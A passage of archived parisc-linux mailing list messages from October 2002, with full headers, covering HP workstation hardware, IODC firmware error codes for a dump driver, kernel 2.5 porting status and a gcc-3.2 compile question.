> I am looking at a pretty good deal on a J2240 Workstation and was
> wondering if the Dino/Cujo conflict was resolved that I found in the
> archives?  I only see like 2 folks registered in the hardware database

Umm.. What Dino/Cujo conflict?  ;-)  C360, C240 & C200 have one Dino &
one Cujo.  J2240 has 2 Dinos & 1 Cujo.  So it _ought_ to work.  Maybe the
serial ports might be back-to-front, but that would probably be solvable.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump driver: step by step
Date: Tue, 15 Oct 2002 13:26:35 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20021015132635.D8660@parcelfarce.linux.theplanet.co.uk>
References: <3DABF865.8224BF5@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621831 15676 80.91.229.3 (22 Nov 2014 02:03:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:51 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 06:26:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDE674829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 06:26:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 181QmR-0007le-00; Tue, 15 Oct 2002 13:26:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DABF865.8224BF5@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Tue, Oct 15, 2002 at 01:13:41PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16494

On Tue, Oct 15, 2002 at 01:13:41PM +0200, Bruno Vidal wrote:
> 	Hi.
> I've succeded to read with iodc, and at the right place (good news no).
> Now I'll try to write. But I prefer to do it on another disk.
> So I've found an old scsi SE. I've plugged it. The driver is able
> to find the hpa, retrieve the iodc ENTRY_INIT without any pb.
> But when calling the ENTRY_INIT with INIT_MOD_DEV or only INIT_DEV
> it fail with return code -9. But there is a little pb, I don't
> have this return code in documentation. If I believe the the 
> "parisc 1.1 IO firmware Architecture".
> I didn't find it for parisc 2.0 (on 
> http://www.parisc-linux.org/documentation/index.html). 
> So if someone know where I can find it.

	-9	Cannot locate a console device or boot device
		The search could not locate a console device or
		boot device on the module. Returned
		only by options ARG1=2 and ARG1=3.
		CONDITIONAL. Must be used if the search options are provided.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump driver: step by step
Date: Tue, 15 Oct 2002 14:28:07 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3DAC09D7.47F2D9C0@hpfrcu81.france.hp.com>
References: <3DABF865.8224BF5@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621832 15679 80.91.229.3 (22 Nov 2014 02:03:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:52 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 06:26:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id B39AD4847
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 06:26:43 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9911ED98
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 14:26:38 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id OAA02023; Tue, 15 Oct 2002 14:28:08 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16495

Bruno Vidal wrote:
> If I believe the the
> "parisc 1.1 IO firmware Architecture".


The iodc.pdf document sez (page 3-29) 

ENTRY_INIT(index 3)
....
-9 Cannot locate a console device or boot device
   Returned only by options arg1=2 and arg1=3.


Dunno if it helps.

Phi


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump driver: step by step
Date: Tue, 15 Oct 2002 14:44:14 +0200
Organization: H.P
Lines: 55
Approved: news@gmane.org
Message-ID: <3DAC0D9E.BD896745@admin.france.hp.com>
References: <3DABF865.8224BF5@admin.france.hp.com> <3DAC09D7.47F2D9C0@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------214E74287DE0A0AA57134DCD"
X-Trace: ger.gmane.org 1416621832 15680 80.91.229.3 (22 Nov 2014 02:03:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:52 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 06:44:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C0444851
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 06:44:20 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2025BFC7
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 14:44:16 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id OAA17573 for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 14:42:32 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16496

This is a multi-part message in MIME format.
--------------214E74287DE0A0AA57134DCD
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Please take a look to my email -> I'm using arg1=4 or 5
not 2 or 3. 
So how do you explain this -9 for "init & test mod & dev"

	Thanks.

phi wrote:
> 
> Bruno Vidal wrote:
> > If I believe the the
> > "parisc 1.1 IO firmware Architecture".
> 
> The iodc.pdf document sez (page 3-29)
> 
> ENTRY_INIT(index 3)
> ....
> -9 Cannot locate a console device or boot device
>    Returned only by options arg1=2 and arg1=3.
> 
> Dunno if it helps.
> 
> Phi
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------214E74287DE0A0AA57134DCD
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------214E74287DE0A0AA57134DCD--



From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kbdrate
Date: Tue, 15 Oct 2002 09:54:49 -0200
Lines: 17
Approved: news@gmane.org
Message-ID: <007c01c27441$aa446320$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621832 15681 80.91.229.3 (22 Nov 2014 02:03:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:52 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 06:54:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hsbcsv18.hsbc.com.br (hsbcsv18.hsbc.com.br [200.208.29.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2937F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 06:54:55 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv18.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5df3e2e20cac1c5054414@hsbcsv18.hsbc.com.br> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 15 Oct 2002 09:54:51 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9FCso203270
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 10:54:50 -0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16497

Hello.

(HP 712/60 - Debian GNU/Linux 3.0 - 2.4 Kernel)

While using the KBDRATE command, it is returning:
"PCI or EISA Host Bus Adapater 0 note registerer. in8(0x64) returning -1"

And it starts a loop displaying that message in every line until a Ctrl+C is
issued.

Any hints?

[ ]s,
Jeffo.




From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump driver: step by step
Date: Tue, 15 Oct 2002 15:01:16 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3DAC119C.9A5EE02E@hpfrcu81.france.hp.com>
References: <3DABF865.8224BF5@admin.france.hp.com> <3DAC09D7.47F2D9C0@hpfrcu81.france.hp.com> <3DAC0D9E.BD896745@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621833 15685 80.91.229.3 (22 Nov 2014 02:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:53 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 06:59:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id D355C485C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 06:59:50 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 0A70F10F2
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 14:59:45 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id PAA02035; Tue, 15 Oct 2002 15:01:17 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16498

Bruno Vidal wrote:
> 
> Please take a look to my email -> I'm using arg1=4 or 5
> not 2 or 3.
> So how do you explain this -9 for "init & test mod & dev"
> 


I red :-) You mentioned 'parisc 1.1 IO firmware Architecture' which is kind of
generic title, then thought you missed the iodc.pdf doc.

> So how do you explain this -9 for "init & test mod & dev"

May be you used arg1 to 2 or 3 when you really wanted 4 or 5 

OR

-9 is also returned for 4 or 5 meaning  meaning
 1: machdep.h:283   #define IODCE_NOSUCHDEV  -9

as returned by scan from ./ISU/mongoose/machdep.h

Cheers,
Phi


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 status
Date: Tue, 15 Oct 2002 21:16:27 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20021015211627.A15163@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621833 15687 80.91.229.3 (22 Nov 2014 02:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 14:16:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3138E4829
	for <parisc-linux@parisc-linux.org>; Tue, 15 Oct 2002 14:16:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 181Y79-0004br-00
	for parisc-linux@parisc-linux.org; Tue, 15 Oct 2002 21:16:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16499

In an attempt to get more people involved in the 2.5 porting effort, I'm
going to try to send out weekly updates of what's going on.  Feel free to
respond to things and point out where I'm wrong.

Status:

 - Merged to 2.5.41
 - Booted on an A500
 - Linus released 2.5.42
 - Don't know what patches need to be integrated into Linus' tree
 - Don't know what other patches need to be brought forward from 2.4

Todo:

 - Serial code not working for a 712 (willy)
 - the fix for do_fork needs checking
 - stifb doesn't compile
 - mux driver needs to be forward ported from 2.4 (rbrad)
 - merge 2.5.42
 - think the tcpdiag_cookie patch in our tree is now obsolete
 - need to get an official number for PDC_CONS or MUX (any problem with using
	the same number for both?) (rbrad)
 - send .text.init -> .init.text change to Linus (willy)
 - send tulip changes to jgarzik (grant)
 - figure out why we have genrtc 1.05 in our tree when linus has 1.06
 - do a better job of vmlinux{32,64}.lds
 - review diff vs 2.4 for additional changes
 - review diff vs 2.5 for changes which still need to be sent to Linus.

would these lists be more useful in html or would they just bitrot?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status
Date: Tue, 15 Oct 2002 13:51:16 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20021015205116.GR5602@tausq.org>
References: <20021015211627.A15163@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621833 15690 80.91.229.3 (22 Nov 2014 02:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 14:51:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B42704829
	for <parisc-linux@parisc-linux.org>; Tue, 15 Oct 2002 14:51:11 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 98028CD83C; Tue, 15 Oct 2002 13:51:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20021015211627.A15163@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16500

>  - Serial code not working for a 712 (willy)
>  - the fix for do_fork needs checking
>  - stifb doesn't compile
>  - mux driver needs to be forward ported from 2.4 (rbrad)
>  - merge 2.5.42
>  - think the tcpdiag_cookie patch in our tree is now obsolete
>  - need to get an official number for PDC_CONS or MUX (any problem with using
> 	the same number for both?) (rbrad)
>  - send .text.init -> .init.text change to Linus (willy)
>  - send tulip changes to jgarzik (grant)
>  - figure out why we have genrtc 1.05 in our tree when linus has 1.06
>  - do a better job of vmlinux{32,64}.lds
>  - review diff vs 2.4 for additional changes
>  - review diff vs 2.5 for changes which still need to be sent to Linus.

- show_trace()/show_stack() etc need to be implemented for parisc. right
now they are just empty stubs. i have some initial versions of these
that are probably not quite correct. will look into it some more.
- our PDC early debug console hacks need to be cleaned up somehow
- pci serial is broken still in 2.5.41, may be fixed in 2.5.42
- drivers/pci/setup-bus.c has a hppa-specific #ifdef right now to
  prevent pci reinit from hpmc'ing the machine. this probably needs to
  go upstream

> would these lists be more useful in html or would they just bitrot?

email's good.... :-) perhaps keep the list in cvs (so people can
add/remove items) and you can post it periodically.

thanks,
randolph


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] possible gcc-3.2 bug?
Date: Tue, 15 Oct 2002 17:37:47 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200210152137.g9FLbmkY004459__9834.01358030296$1416621834$gmane$org@hiauly1.hia.nrc.ca>
References: <20021015070336.GJ24881@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621834 15692 80.91.229.3 (22 Nov 2014 02:03:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:54 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 15:37:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9ECD84829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 15:37:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9FLbn00004461;
	Tue, 15 Oct 2002 17:37:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9FLbmkY004459;
	Tue, 15 Oct 2002 17:37:48 -0400 (EDT)
In-Reply-To: <20021015070336.GJ24881@tausq.org> from "Randolph Chung" at Oct 15, 2002 00:03:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16501

> The following piece of code compiles with gcc-3.0 but not with
> gcc-3.2... is this a gcc bug? or is the code broken?

I would say the later.

> tausq@a500:~$ gcc-3.2 -c t.c
> t.c: In function `foo':
> t.c:12: initializer element is not constant
> 
> (it's a simplified example of some code from the parisc-linux kernel)
> 
> ---------------------8<-----------------------
